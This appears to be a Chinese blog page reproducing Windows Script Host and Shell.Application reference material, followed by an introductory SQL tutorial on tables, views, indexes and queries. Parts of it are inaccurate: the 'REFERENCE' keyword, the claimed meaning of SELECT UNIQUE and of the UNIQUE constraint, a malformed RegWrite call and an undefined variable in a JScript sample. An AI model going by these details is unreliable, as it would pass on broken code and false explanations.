对于 Windows 95,strType 参数仅支持 "Process"。

下列变量是由 Windows 操作系统提供的。脚本也可获取由其他应用程序设置的环境变量。

名称 说明
NUMBER_OF_PROCESSORS 计算机上运行的处理器数目。
PROCESSOR_ARCHITECTURE 用户工作站使用的处理器类型。
PROCESSOR_IDENTIFIER 用户工作站的处理器 ID。
PROCESSOR_LEVEL 用户工作站的处理器级。
PROCESSOR_REVISION 用户工作站的处理器版本。
OS 用户工作站所用的操作系统。
COMSPEC 用于运行“命令提示”窗口的命令(通常为 cmd.exe)。
HOMEDRIVE 本地主驱动器(通常为 C 驱动器)。
HOMEPATH 用户的默认路径(在 Windows NT 上通常为 \users\default)。
PATH 路径环境变量。
PATHEXT 可执行文件的扩展名(通常为 .com、 .exe、.bat 或 .cmd)。
PROMPT 命令提示符(通常为 $P$G)。
SYSTEMDRIVE 系统所在的本地驱动器(例如,c:\)。
SYSTEMROOT 系统目录(例如,c:\winnt)。和 WINDIR 相同。
WINDIR 系统目录(例如 c:\winnt)。和 SYSTEMROOT 相同。
TEMP 存储临时文件的目录(例如,c:\temp)。用户可更改。
TMP 存储临时文件的目录(例如,c:\temp)。用户可更改。

示例
' Retrieve the NUMBER_OF_PROCESSORS system environment variable
Set WshShell = Wscript.CreateObject("Wscript.Shell")

Set WshSysEnv = WshShell.Environment("SYSTEM")
Wscript.Echo WshSysEnv("NUMBER_OF_PROCESSORS")

请参阅
WshEnvironment 对象

WshEnvironment 对象
WshEnvironment 对象未直接给出,可用 WshShell.Environment 属性来访问。

ProgID N/A
文件名 WSHom.Ocx
CLSID
IID

下表描述与 WshEnvironment 对象关联的属性。

属性 说明
Item 获取或设置指定的环境变量值。
Count 枚举项的数目。
length 枚举项的数目 (JScript)。

下表描述与 WshEnvironment 对象关联的方法。

方法 说明
Remove 删除指定的环境变量。

WshShell.SpecialFolders
SpecialFolders 属性提供 WshSpecialFolders 对象以便访问 Windows 的 shell 文件夹,例如桌面文件夹、开始菜单文件夹和个人文档文件夹。

语法
WshShell.SpecialFolders = objWshSpecialFolders

示例
' This code fragment shows how to access the desktop folder
Set WshShell = Wscript.CreateObject("Wscript.Shell")
MsgBox "Your desktop is " & WshShell.SpecialFolders("Desktop")
请参阅
WshSpecialFolders 对象

WshSpecialFolders 对象
该对象未直接给出。要得到 WshSpecialFolders 对象,请使用 WshShell.SpecialFolders 属性。

ProgID N/A
文件名 WSHom.Ocx
CLSID
IID

下表描述与 WshSpecialFolders 对象关联的属性。

属性 描述
Item 指定文件夹的完整路径(默认)。
Count 枚举项的数目。
length 枚举项的数目 (JScript) 。

WshSpecialFolders.Item
Item 属性返回由 strFolderName 指定的文件夹的完整路径。它是默认属性。

语法
WshShell.SpecialFolders.Item("strFolderName") = strFolderPath
WshShell.SpecialFolders("strFolderName") = strFolderPath

注释
若请求的文件夹 (strFolderName) 不可用,则 WshShell.SpecialFolders("strFolderName") 返回 NULL。例如,Windows 95 没有 AllUsersDesktop 文件夹,如果 strFolderName = AllUsersDesktop,则返回 NULL。

Windows 95 和 Windows NT 4.0 操作系统提供下列指定文件夹:
AllUsersDesktop
AllUsersStartMenu

AllUsersPrograms

AllUsersStartup

Desktop

Favorites

Fonts

MyDocuments

NetHood

PrintHood

Programs

Recent

SendTo

StartMenu

Startup

Templates

示例
' This fragment returns the full path for the Windows Desktop folder
Set WshShell = Wscript.CreateObject("Wscript.Shell")
StrMyDesktop = WshShell.SpecialFolders("Desktop")

' List all special folders
For Each strFolder In WshShell.SpecialFolders
MsgBox strFolder
Next

请参阅
WshShell.SpecialFolders 属性

WshShell.CreateShortcut
CreateShortcut 方法创建 WshShortcut 对象并将其返回。如果快捷方式标题以 .url 结尾,就会创建 WshURLShortcut 对象。

语法
WshShell.CreateShortcut(strPathname) = objShortcut

示例
' This code fragment creates a shortcut
' to the currently executing script
Set WshShell = Wscript.CreateObject("Wscript.Shell")
Set oShellLink = WshShell.CreateShortcut("Current Script.lnk")
oShellLink.TargetPath = Wscript.ScriptFullName
oShellLink.Save
Set oUrlLink = WshShell.CreateShortcut("Microsoft Web Site.URL")
oUrlLink.TargetPath = "http://www.microsoft.com"
oUrlLink.Save

请参阅
WshShortcut 对象、WshUrlShortcut 对象

WshShortcut 对象
该对象未直接给出。要获得 WshShortcut 对象,请使用 WshShell.CreateShortcut 方法。

ProgID N/A
文件名 WSHom.Ocx
CLSID F935DC28-1CF0-11d0-ADB9-00C04FD58A0B
IID F935DC27-1CF0-11d0-ADB9-00C04FD58A0B

下表说明和 WshShortcut 对象有关的属性。

属性 说明
Arguments 快捷方式对象的参数。
Description 快捷方式对象的说明。
Hotkey 快捷方式对象的热键。
IconLocation 快捷方式对象的图标位置。
TargetPath 快捷方式对象的目标路径。
WindowStyle 快捷方式对象的窗口样式。
WorkingDirectory 快捷方式对象的工作目录。

下表说明与 WshShortcut 对象有关的方法。

方法 说明
Save 将快捷方式存储到指定的文件系统中。

WshShortcut.Arguments
Arguments 属性提供快捷方式对象的参数。

语法
WshShortcut.Arguments = strArguments

WshShortcut.Description
Description 属性提供快捷方式对象的说明。

语法
WshShortcut.Description = strDescription

WshShortcut.Hotkey
HotKey 属性提供快捷方式对象的热键。热键是启动或切换程序的键盘快捷方式。

语法
WshShortcut.HotKey = strHotKey

注释
strHotKey 的BNF语法如下:

Hotkey ::= modifier* keyname
modifier ::= "ALT+" | "CTRL+" | "SHIFT+" | "EXT+"
keyname ::= "A" .. "Z" |
"0".. "9" |
"Back" | "Tab" | "Clear" | "Return" |
"Escape" | "Space" | "Prior" | ...

所有键的名称都可以在 WINUSER.H 中找到。热键不区分大小写。

热键只能激活位于 Windows 桌面或 Windows“开始”菜单的快捷方式。

Windows 资源管理器不接受 ESC、ENTER、TAB、SPACE、PRINT SCREEN 或 BACKSPACE,即使 WshShortcut.Hotkey 遵循 Win32 API 支持它们。因此,建议在快捷方式中不要用这些键。

示例
Set WshShell = Wscript.CreateObject("Wscript.WshShell")
strDesktop = WshShell.SpecialFolders("Desktop")
Set oMyShortcut = WshShell.CreateShortcut(strDesktop & "\a_key.lnk")
OMyShortcut.TargetPath = "%windir%\notepad.exe"
oMyShortCut.Hotkey = "ALT+CTRL+F"
oMyShortCut.Save
Wscript.Echo oMyShortCut.HotKey = "Alt+Ctrl+F"

请参阅
WshSpecialFolders 对象

WshShortcut.IconLocation
IconLocation 属性提供快捷方式对象的图标位置。图标位置的格式应为 "Path,index"。

语法
WshShortcut.IconLocation = strIconLocation

WshShortcut.TargetPath
TargetPath 属性提供快捷方式对象的目标路径。

语法
WshShort

WshUrlShortcut 对象
该对象未直接给出。要获取 WshUrlShortcut 对象,可使用 WshShell.CreateShortcut 方法。

ProgID N/A
文件名 WSHom.Ocx
CLSID
IID

下表说明了和 WshUrlShortcut 对象有关的属性。

属性 说明
FullName URL 快捷方式对象的完整路径。
TargetPath URL 快捷方式对象的目标路径。

下表说明了和 WshUrlShortcut 对象有关的方法。

方法 说明
Save 将快捷方式保存到指定的文件系统中。

WshUrlShortcut.FullName
FullName 属性提供快捷方式对象的完整路径。

语法
WshUrlShortcut.FullName = strFullName

WshUrlShortcut.TargetPath
TargetPath 属性提供快捷方式对象的目标路径。

语法
WshUrlShortcut.TargetPath = strTargetPath

WshUrlShortcut.Save
Save 方法保存一个快捷方式,该快捷方式指向 FullName 属性指定的位置。

语法
WshUrlShortcut.Save

WshShell.ExpandEnvironmentStrings
ExpandEnvironmentStrings 方法在 strString 中扩展 PROCESS 环境变量并返回结果字符串。变量被 '%' 字符括起。

环境变量不区分大小写。

语法
WshShell.ExpandEnvironmentStrings(strString) = strExpandedString

示例
MsgBox "Prompt is " & WshShell.ExpandEnviromentStrings("%PROMPT%")

 

WshShell.Popup
Popup 方法显示一个弹出式消息框窗口,消息框中包含的消息由 strText 指定。该消息框的窗口标题由 strTitle 指定。若 strTitle 省略,则窗口标题为 Windows Scripting Host。

语法
WshShell.Popup(strText, [natSecondsToWait], [strTitle], [natType]) = intButton

注释
若提供 natSecondsToWait 且其值大于零,则消息框在 natSecondsToWait 秒后关闭。

natType 的含义与其在 Win32? MessageBox 函数中相同。下表显示 natType 中的值及含义。下表中的值可以组合。

按钮类型
值 说明
0 显示“确定”按钮
1 显示“确定”和“取消”按钮
2 显示“终止”、“重试”和“忽略”按钮
3 显示“是”、“否”和“取消”按钮
4 显示“是”和“否”按钮
5 显示“重试”和“取消”按钮

图标类型
值 说明
16 显示停止标记图标
32 显示问号图标
48 显示感叹号图标
64 显示信息标记图标

以上两个表并不涵盖 natType 的所有值。完整的列表请参阅 Win32 文档。

返回值 intButton 指示用户所单击的按扭编号。若用户在 natSecondsToWait 秒之前不单击按扭,则 intButton 设置为 -1 。

值 说明
1 “确定”按扭
2 “取消”按扭
3 “终止”按扭
4 “重试”按扭
5 “忽略”按扭
6 “是”按扭
7 “否”按扭

示例
Set WshShell = Wscript.CreateObject("Wscript.Shell")
WshShell.Popup "Where do you want to go today?"

请参阅
Wscript.Echo 方法

Wscript.Echo
Echo 方法在窗口(Wscript.exe 中)或“命令提示符”窗口(Cscript.exe 中)显示参数。

参数用空格分隔。在 Cscript.exe 中,该方法在显示最后一个参数之后输出一对回车/换行(CR LF)。

语法
Wscript.Echo [anyArg...]

示例
Wscript.Echo
Wscript.Echo 1, 2, 3
Wscript.Echo "Windows Scripting Host is cool."

WshShell.RegDelete
RegDelete 从注册表中删除名为 strName 的键或值。

语法
WshShell.RegDelete strName

参数
strName
如果 strName 以反斜杠 (\) 结束,则该方法删除键而不是值。
strName 参数必须以下列之一的根键名开始:

短根键名 长根键名
HKCU HKEY_CURRENT_USER
HKLM HKEY_LOCAL_MACHINE
HKCR HKEY_CLASSES_ROOT
HKEY_USERS
HKEY_CURRENT_CONFIG

示例
Set WshShell = Wscript.CreateObject("Wscript.Shell")

WshShell.RegDelete "HKCU\ScriptEngine\Value" ' Delete value "Value"
WshShell.RegDelete "HKCU\ScriptEngine\Key\" ' Delete key "Key"

请参阅
WshShell.RegRead 方法、WshShell.RegWrite 方法

WshShell.RegRead
RegRead 方法返回名为 strName 的注册表键或值。

语法
WshShell.RegRead(strName) = strValue

参数
strName
如果 strName 以反斜杠 (\) 结束,则该方法返回键,而不是值。
strName 参数必须以下列根键名开始。

Short Long
HKCU HKEY_CURRENT_USER
HKLM HKEY_LOCAL_MACHINE
HKCR HKEY_CLASSES_ROOT
HKEY_USERS
HKEY_CURRENT_CONFIG

注释
RegRead 方法仅支持 REG_SZ、REG_EXPAND_SZ、REG_DWORD、REG_BINARY 和 REG_MULTI_SZ 数据类型。若注册表有其他数据类型,RegRead 返回 DISP_E_TYPEMISMATCH。

示例
Set WshShell = Wscript.CreateObject("Wscript.Shell")

WshShell.RegRead("HKCU\ScriptEngine\Val") ' Read from value "Val"
WshShell.RegRead("HKCU\ScriptEngine\Key\") ' Read from key "Key"

请参阅
WshShell.RegDelete 方法、WshShell.RegWrite 方法

WshShell.RegWrite
RegWrite 方法设置名为 strName 的注册表键或值。

语法
WshShell.RegWrite strName, anyValue, [strType]

参数
strName
若 strName 以一个反斜杠 (\) 结束,则该方法设置键,而不是值。
strName 参数必须以下列根键名开头。

Short Long
HKCU HKEY_CURRENT_USER
HKLM HKEY_LOCAL_MACHINE
HKCR HKEY_CLASSES_ROOT
HKEY_USERS
HKEY_CURRENT_CONFIG

 

anyValue
当 strType 为 REG_SZ 或 REG_EXPAND_SZ 时,RegWrite 方法自动将 anyValue 转换为字符串。若 strType 为 REG_DWORD,则 anyValue 被转换为整数。若 strType 为 REG_BINARY,则 anyValue 必须是一个整数。

strType
RegWrite 方法支持 strType 为 REG_SZ、REG_EXPAND_SZ、REG_DWORD 和 REG_BINARY。若其他的数据类型被作为 strType 传递,RegWrite 返回 E_INVALIDARG。
示例
Set WshShell = Wscript.CreateObject("Wscript.Shell")

WshShell.RegWrite "HKCU\ScriptEngine\Value", "Some string value"
WshShell.RegWrite "HKCU\ScriptEngine\Key\", 1 "REG_DWORD"

请参阅
WshShell.RegDelete 方法、WshShell.RegWrite方法

WshShell.Run
Run 方法创建一个新的进程,该进程以 intWindowStyle 窗口样式执行 strCommand。

语法
WshShell.Run (strCommand, [intWindowStyle], [blnWaitOnReturn])

参数
strCommand
在 strCommand 参数内部的环境变量被自动扩展。

intWindowStyle
这是为新进程在 STARTUPINFO 结构内设置的 wShowWindow 元素的值。其意义与 ShowWindow 中的 nCmdShow 参数相同,可取以下值之一。名称 值 含义
SW_HIDE
0 隐藏窗口并激活另一窗口。
SW_MINIMIZE
6 最小化指定窗口并激活按 Z 序排序的下一个顶层窗口。
SW_RESTORE
9 激活并显示窗口。若窗口是最小化或最大化,则恢复到原来的大小和位置。在还原应用程序的最小化窗口时,应指定该标志。
SW_SHOW
5 以当前大小和位置激活并显示窗口。
SW_SHOWMAXIMIZED
3 激活窗口并以最大化显示该窗口。
SW_SHOWMINIMIZED
2 激活窗口并以最小化显示该窗口。
SW_SHOWMINNOACTIVE
7 最小化显示窗口。活动窗口保持活动。
SW_SHOWNA
8 以当前状态显示窗口。活动窗口保持活动。
SW_SHOWNOACTIVATE
4 按窗口最近的大小和位置显示。活动窗口保持活动。
SW_SHOWNORMAL
1 激活并显示一个窗口。若窗口是最小化或最大化,则恢复到其原来的大小和位置。

 

blnWaitOnReturn
如果未指定 blnWaitOnReturn 或其值为 FALSE,则该方法立即返回到脚本继续执行而不等待进程结束。
若 blnWaitOnReturn 设为 TRUE,则 Run 方法返回由应用程序返回的任何错误代码。如果未指定 blnWaitOnReturn 或其值为 FALSE,则 Run 返回错误代码 0(zero)。

示例
' This fragment launches Notepad with the current executed script
Set WshShell = Wscript.CreateObject("Wscript.Shell")
WshShell.Run ("notepad " & Wscript.ScriptFullName)
WshShell.Run ("%windir%\notepad" & Wscript.ScriptFullName)

' This fragment returns the error code from the executed application
Return = WshShell.Run("notepad " & Wscript.ScriptFullName, 1, TRUE)

3. 关于Shell.Application的使用
3.1、创建 Shell 对象
var Shell = new ActiveXObject("Shell.Application");

3.2、使用 Shell 属性及方法

Shell.Application
Shell.Parent

Shell.CascadeWindows()
Shell.TileHorizontally()
Shell.TileVertically()
Shell.ControlPanelItem(sDir) /* 比如:sysdm.cpl */
Shell.EjectPC()
Shell.Explore(vDir)
Shell.Open(vDir)
Shell.FileRun()
Shell.FindComputer()
Shell.FindFiles()
Shell.Help()
Shell.MinimizeAll()
Shell.UndoMinimizeALL()
Shell.RefreshMenu()
Shell.SetTime()
Shell.TrayProperties()
Shell.ShutdownWindows()
Shell.Suspend()
oWindows = Shell.Windows() /* 返回ShellWindows对象 */
fFolder = Shell.NameSpace(vDir) /* 返回所打开的vDir的Folder对象 */
oFolder = Shell.BrowseForFolder(Hwnd, sTitle, iOptions [, vRootFolder]) /* 选择文件夹对话框 */
/*示例:
function BrowseFolder()
{
var Message = "清选择文件夹";

var Shell = new ActiveXObject( "Shell.Application" );
var Folder = Shell.BrowseForFolder(0,Message,0x0040,0x11);
if(Folder != null)
{
Folder = Folder.items(); // 返回 FolderItems 对象
Folder = Folder.item(); // 返回 Folderitem 对象
Folder = Folder.Path; // 返回路径
if(Folder.charAt(varFolder.length-1) != "\\"){
Folder = varFolder + "\\";
}
return Folder;
}
}
*/

/*示例:
var Folder = Shell.NameSpace("C:\\"); // 返回 Folder对象
*/

posted @ 2005-07-14 17:07 一天一点爱恋 阅读(392) | 评论 (0)编辑 收藏
 
     摘要: 本部分内容           n  SQL基础           n  中级SQL          ...  阅读全文
posted @ 2005-07-14 16:53 一天一点爱恋 阅读(667) | 评论 (0)编辑 收藏
 
SQL是Structured Quevy Language(结构化查询语言)的缩写。SQL是专为数据库而建立的操作命令集,是一种功能齐全的数据库语言。在使用它时,只需要发出“做什么”的命令,“怎么做”是不用使用者考虑的。SQL功能强大、简单易学、使用方便,已经成为了数据库操作的基础,并且现在几乎所有的数据库均支持SQL。
##1 二、SQL数据库数据体系结构
SQL数据库的数据体系结构基本上是三级结构,但使用术语与传统关系模型术语不同。在SQL中,关系模式(模式)称为“基本表”(base table);存储模式(内模式)称为“存储文件”(stored file);子模式(外模式)称为“视图”(view);元组称为“行”(row);属性称为“列”(column)。名称对称如^00100009a^:
##1 三、SQL语言的组成
在正式学习SQL语言之前,首先让我们对SQL语言有一个基本认识,介绍一下SQL语言的组成:
1.一个SQL数据库是表(Table)的集合,它由一个或多个SQL模式定义。
2.一个SQL表由行集构成,一行是列的序列(集合),每列与行对应一个数据项。
3.一个表或者是一个基本表或者是一个视图。基本表是实际存储在数据库的表,而视图是由若干基本表或其他视图构成的表的定义。
4.一个基本表可以跨一个或多个存储文件,一个存储文件也可存放一个或多个基本表。每个存储文件与外部存储上一个物理文件对应。
5.用户可以用SQL语句对视图和基本表进行查询等操作。在用户角度来看,视图和基本表是一样的,没有区别,都是关系(表格)。
6.SQL用户可以是应用程序,也可以是终端用户。SQL语句可嵌入在宿主语言的程序中使用,宿主语言有FORTRAN,COBOL,PASCAL,PL/I,C和Ada语言等。SQL用户也能作为独立的用户接口,供交互环境下的终端用户使用。
##1 四、对数据库进行操作
SQL包括了所有对数据库的操作,主要是由4个部分组成:
1.数据定义:这一部分又称为“SQL DDL”,定义数据库的逻辑结构,包括定义数据库、基本表、视图和索引4部分。
2.数据操纵:这一部分又称为“SQL DML”,其中包括数据查询和数据更新两大类操作,其中数据更新又包括插入、删除和更新三种操作。
3.数据控制:对用户访问数据的控制有基本表和视图的授权、完整性规则的描述,事务控制语句等。
4.嵌入式SQL语言的使用规定:规定SQL语句在宿主语言的程序中使用的规则。
下面我们将分别介绍:
##2 (一)数据定义
SQL数据定义功能包括定义数据库、基本表、索引和视图。
首先,让我们了解一下SQL所提供的基本数据类型:(如^00100009b^)
1.数据库的建立与删除
(1)建立数据库:数据库是一个包括了多个基本表的数据集,其语句格式为:
CREATE DATABASE <数据库名> [其它参数]
其中,<数据库名>在系统中必须是唯一的,不能重复,不然将导致数据存取失误。[其它参数]因具体数据库实现系统不同而异。
例:要建立项目管理数据库(xmmanage),其语句应为:
CREATE DATABASE xmmanage
(2) 数据库的删除:将数据库及其全部内容从系统中删除。
其语句格式为:DROP DATABASE <数据库名>
例:删除项目管理数据库(xmmanage),其语句应为:
DROP DATABASE xmmanage
2.基本表的定义及变更
本身独立存在的表称为基本表,在SQL语言中一个关系唯一对应一个基本表。基本表的定义指建立基本关系模式,而变更则是指对数据库中已存在的基本表进行删除与修改。
(1)基本表的定义:基本表是非导出关系,其定义涉及表名、列名及数据类型等,其语句格式为:
CREATE TABLE[<数据库名>.]<表名>
(<列名> 数据类型 [缺省值] [NOT NULL / NULL]
[,<列名> 数据类型 [缺省值] [NOT NULL / NULL]]......
[,UNIQUE (列名[,列名]......)]
[,PRIMARY KEY(列名)]
[,FOREIGN KEY(列名[,列名]......)REFERENCE <表名>(列名[,列名]......)]
[,CHECK(条件)] [其它参数])
其中,〈数据库名〉.]指出将新建立的表存放于该数据库中;
新建的表由两部分组成:其一为表和一组列名,其二是实际存放的数据(即可在定义表的同时,直接存放数据到表中);
列名为用户自定义的易于理解的名称,列名中不能使用空格;
数据类型为上面所介绍的几种标准数据类型;
[NOT NULL/NULL]指出该列是否允许存放空值,SQL语言支持空值的概念,所谓空值是“不知道”或“无意义”的值,值得注意的是数据“0”和空格都不是空值,系统一般默认允许为空值,所以当不允许为空值时,必须明确使用NOT NULL;
[,UNIQUE]将列按照其规定的顺序进行排列,如不指定排列顺序,则按列的定义顺序排列;
[PRIMARY KEY]用于指定表的主键(即关系中的主属性),实体完整性约束条件规定:主键必须是唯一的,非空的;
[,FOREIGN KEY (列名[,列名]......) REFERENCE<表名>(列名[,列名]......)]是用于指定外键参照完整性约束条件,FOREIGN KEY指定相关列为外键,其参照对象为另外一个表的指定列,即使用REFERENCE引入的外表中的列,当不指定外表列名时,系统将默认其列名与参照键的列名相同,要注意的是:使用外键时必须使用参照,另外数据的外键参照完整性约束条件规定:外键的值要么与相对应的主键相同,要么为空值(具体由实现系统不同而异)
[,CHECK]用于使用指定条件对存入表中的数据进行检查,以确定其合法性,提高数据的安全性。
例:要建立一个学生情况表(student)
CREATE TABLE student //创建基本表student
(st_class CHAR(8),// 定义列st_class班级,数据类型为8位定长字符串
st_no CHAR(10) NOT NULL,//定义列st_no学号,类型为10位定长字符串,非空
st_name CHAR(8) NOT NULL,//定义列st_name姓名,类型为8位定长字符串,非空
st_sex CHAR(2),//定义列st_sex性别,类型为2位定长字符串
st_age SMALLINT,//定义列st_age年龄,类型为短整型
PRIMARY KEY (st_no))//定义st_no学号为主键。
例:要建立课程设置表(subject)
CREATE TABLE subject//创建基本表subject
(su_no CHAR(4) NOT NULL,// 定义列su_no课号,类型为4位定长字符串,非空
su_subject CHAR(20) NOT NULL,// 定义列su_subject课程名,类型为20位定长字符串,非空
su_credit INTEGER,// 定义列su_credit学分,类型为长整数
su_period INTEGER,//定义列su_period学时,类型为长整数
su_preno CHAR(4),//定义列su_preno先修课号,类型为4位定长字符串
PRIMARY KEY(su_no))//定义su_no课号为主键。
例:要建立学生选课表(score)
CREATE TABLE score //创建基本表score
(st_no CHAR(10),//定义列st_no学号,类型为10位定长字符串
su_no CHAR(4),//定义列su_no课号,类型为4位定长字符串
sc_score INTEGER NULL,//定义列sc_score,类型为长整形,可以为空值
FOREIGN KEY (st_no) REFERENCE student,//从表student中引入参照外键st_no,以确保本表与表student的关联与同步
FOREIGN KEY (suno) REFERENCE subject)//从表subject中引入参照外键su_no,以确保本表与表subject的关联与同步
(2)基本表的删除:用以从数据库中删除一个基本表及其全部内容,其语句格式为:
DROP TABLE[<数据库名>.]表名
例如:将上面建立的表都删除
DROP TABLE student,subject,score
(3)基本表的修改:在基本表建立并使用一段时间后,可能需要根据实际要求对基本表的结构进行修改,即增加新的属性或删除属性。
增加属性的语句格式为:
ALTER TABLE [<数据库名>.]表名 ADD
(<列名> 数据类型 [缺省值] [NOT NULL / NULL]
[,<列名> 数据类型[缺省值][NOT NULL / NULL]]......
[,UNIQUE (列名[,列名]......)]
[,PRIMARY KEY(列名)]
[,FOREIGN KEY(列名[,列名]......) REFERENCE <表名>(列名[,列名]......)]
[,CHECK(条件)][其它参数])
例如:在基本表student中加入列stborn出生日期,数据类型为DATE,且不能为空值
ALTER TABLE student ADD (stborn DATE NOT NULL)
删除属性的语句格式为:
ALTER TABLE [<数据库名>.]表名 DROP
( <列名> 数据类型 [缺省值][NOT NULL / NULL]
[,<列名> 数据类型 [缺省值][NOT NULL / NULL]]......)
例如:将基本表student中的列st_age删除
ALTER TABLE student DROP (st_age)
3.视图定义与删除
在SQL中,视图是外模式一级数据结构的基本单位。它是从一个或几个基本表中导出的表,是从现有基本表中抽取若干子集组成用户的“专用表”。这种构造方式必须使用SQL中的SELECT语句来实现。在定义一个视图时,只是把其定义存放在系统的数据中,而并不直接存储视图对应的数据,直到用户使用视图时才去求得对应的数据。
(1)视图的定义:定义视图可以使用CREATE VIEW语句实现,其语句格式为:
CREATE VIEW 视图名 AS SELECT语句
从一个基本表中导出视图:
例:从基本表student中导出只包括女学生情况的视图
CREATE VIEW WOMANVIEW AS //创建一个视图WOMANVIEW
SELECT st_class,st_no,st_name,st_age //选择列st_class,st_no,st_name,st_age显示
FROM student //从基本表student引入
WHERE st_sex=‘女’//引入条件为性别为“女”,注意字符变量都使用单引号引用
从多个基本表中导出视图:
例如:从基本表student和score中导出只包括女学生且分数在60分以上的视图
CREATEVIEW WOMAN_SCORE AS //定义视图WOMANSCORE
SELECT student.st_class,student.st_no,student.st_name,student.st_age,score.sc_score //有选择性显示相关列
FROM student.score //从基本表student和score中引入
WHERE student.st_sex=‘女’AND score.sc_score>=60 AND student.st_no=score.st_no //选择条件:性别为“女” 且分数在60分以上。并使用st_no将两表联系起来。
以后如果进行这一视图的应用,则只需使用语句
SELECT * FROM WOMAN_SCORE //其中“*”为通配符,代表所有元素
(2)视图的删除:用于删除已不再使用的视图,其语句格式如下:
DROP VIEW 视图名
例:将上面建立的WOMAN_SCORE视图删除
DROP VIEW WOMAN_SCORE
4.索引的定义与删除
索引属于物理存储概念,而不是逻辑的概念。在SQL中抛弃了索引概念,直接使用主键概念。值得一提的是,有些关系DBMS同时包括索引机制和主键机制,这里我们推荐使用主键机制,因为它对系统资源占用较低且效率较高。
(1)索引的定义:索引是建立在基本表之上的,其语句格式为:
CREATE [UNIQUE] INDEX 索引名 ON
[<数据库名>.]表名(列名 [ASC/DESC][,列名 [ASC/DESC]]......)
这里,保留字UNIQUE表示基本表中的索引值不允许重复,若缺省则表示索引值在表中允许重复;DESC表示按索引键降序排列,若缺省或ASC表示升序排列。
例:对基本表student中的st_no和st_age建立索引,分别为升序与降序,且索引值不允许重复
CREATE UNIQUE INDEX STINDEX ON//创建索引STINDEX
student(st_no ASC,st_age DESC)//对student中的st_no和st_age建立索引
(2)索引的删除:
DROP INDEX 索引名
例:删除上面建立的索引STINDEX
DROP INDEX STINDEX
##2 (二)数据查询
SQL是一种查询功能很强的语言,只要是数据库存在的数据,总能通过适当的方法将它从数据库中查找出来。SQL中的查询语句只有一个:SELECT,它可与其它语句配合完成所有的查询功能。SELECT语句的完整语法,可以有6个子句。完整的语法如下:
SELECT 目标表的列名或列表达式集合
FROM 基本表或(和)视图集合
[WHERE条件表达式]
[GROUP BY列名集合
[HAVING组条件表达式]]
[ORDER BY列名[集合]…]
整个语句的语义如下:从FROM子句中列出的表中,选择满足WHERE子句中给出的条件表达式的元组,然后按GROUPBY子句(分组子句)中指定列的值分组,再提取满足HAVING子句中组条件表达式的那些组,按SELECT子句给出的列名或列表达式求值输出。ORDER子句(排序子句)是对输出的目标表进行重新排序,并可附加说明ASC(升序)或DESC(降序)排列。
在WHERE子句中的条件表达式F中可出现下列操作符和运算函数:
算术比较运算符:<,<=,>,>=,=,<>。
逻辑运算符:AND,OR,NOT。
集合运算符:UNION(并),INTERSECT(交),EXCEPT(差)。
集合成员资格运算符:IN,NOT IN
谓词:EXISTS(存在量词),ALL,SOME,UNIQUE。
聚合函数:AVG(平均值),MIN(最小值),MAX(最大值),SUM(和),COUNT(计数)。
F中运算对象还可以是另一个SELECT语句,即SELECT语句可以嵌套。
上面只是列出了WHERE子句中可出现的几种主要操作,由于WHERE子句中的条件表达式可以很复杂,因此SELECT句型能表达的语义远比其数学原形要复杂得多。
下面,我们以上面所建立的三个基本表为例,演示一下SELECT的应用:
1.无条件查询
例:找出所有学生的的选课情况
SELECT st_no,su_no
FROM score
例:找出所有学生的情况
SELECT*
FROM student
“*”为通配符,表示查找FROM中所指出关系的所有属性的值。
2.条件查询
条件查询即带有WHERE子句的查询,所要查询的对象必须满足WHERE子句给出的条件。
例:找出任何一门课成绩在70以上的学生情况、课号及分数
SELECT UNIQUE student.st_class,student.st_no,student.st_name,student.st_sex,student.st_age,score.su_no,score.score
FROM student,score
WHERE score.score>=70 AND score.stno=student.st_no
这里使用UNIQUE是不从查询结果集中去掉重复行,如果使用DISTINCT则会去掉重复行。另外逻辑运算符的优先顺序为NOT→AND→OR。
例:找出课程号为c02的,考试成绩不及格的学生
SELECT st_no
FROM score
WHERE su_no=‘c02’AND score<60
3.排序查询
排序查询是指将查询结果按指定属性的升序(ASC)或降序(DESC)排列,由ORDER BY子句指明。
例:查找不及格的课程,并将结果按课程号从大到小排列
SELECT UNIQUE su_no
FROM score
WHERE score<60
ORDER BY su_no DESC
4.嵌套查询
嵌套查询是指WHERE子句中又包含SELECT子句,它用于较复杂的跨多个基本表查询的情况。
例:查找课程编号为c03且课程成绩在80分以上的学生的学号、姓名
SELECT st_no,st_name
FROM student
WHERE stno IN (SELECT st_no
FROM score
WHERE su_no=‘c03’ AND score>80 )
这里需要明确的是:当查询涉及多个基本表时用嵌套查询逐次求解层次分明,具有结构程序设计特点。在嵌套查询中,IN是常用到的谓词。若用户能确切知道内层查询返回的是单值,那么也可用算术比较运算符表示用户的要求。
5.计算查询
计算查询是指通过系统提供的特定函数(聚合函数)在语句中的直接使用而获得某些只有经过计算才能得到的结果。常用的函数有:
COUNT(*) 计算元组的个数
COUNT(列名) 对某一列中的值计算个数
SUM(列名) 求某一列值的总和(此列值是数值型)
AVG(列名) 求某一列值的平均值(此列值是数值型)
MAX(列名) 求某一列值中的最大值
MIN(列名) 求某一列值中的最小值
例:求男学生的总人数和平均年龄
SELECT COUNT(*),AVG(st_age)
FROM student
WHERE st_sex=‘男’
例:统计选修了课程的学生的人数
SELECT COUNT(DISTINCT st_no)
FROM score
注意:这里一定要加入DISTINCT,因为有的学生可能选修了多门课程,但统计时只能按1人统计,所以要使用DISTINCT进行过滤。
##2 (三) 数据更新
数据更新包括数据插入、删除和修改操作。它们分别由INSERT语句,DELETE语句及UPDATE语句完成。这些操作都可在任何基本表上进行,但在视图上有所限制。其中,当视图是由单个基本表导出时,可进行插入和修改操作,但不能进行删除操作;当视图是从多个基本表中导出时,上述三种操作都不能进行。
1.数据插入
将数据插入SQL的基本表有两种方式:一种是单元组的插入,另一种是多元组的插入。
单元组的插入:向基本表score中插入一个成绩元组(100002,c02,95),可使用以下语句:
INSERT INTO score(st_no,su_no,score) VALUES(‘100002’,‘c02’,95)
由此,可以给出单元组的插入语句格式:
INSERT INTO表名(列名1[,列名2]…) VALUES(列值1[,列值2]…)
其中,列名序列为要插入值的列名集合,列值序列为要插入的对应值。若插入的是一个表的全部列值,则列名可以省略不写如上面的(st_no,su_no,score)可以省去;若插入的是表的部分列值,则必须列出相应列名,此时,该关系中未列出的列名取空值。
多元组的插入:这是一种把SELECT语句查询结果插入到某个已知的基本表中的方法。
例如:需要在表score中求出每个学生的平均成绩,并保留在某个表中。此时可以先创建一个新的基本表stu_avggrade,再用INSERT语句把表score中求得的每一个学生的平均成绩(用SELECT求得)插入至stu_avggrade中。
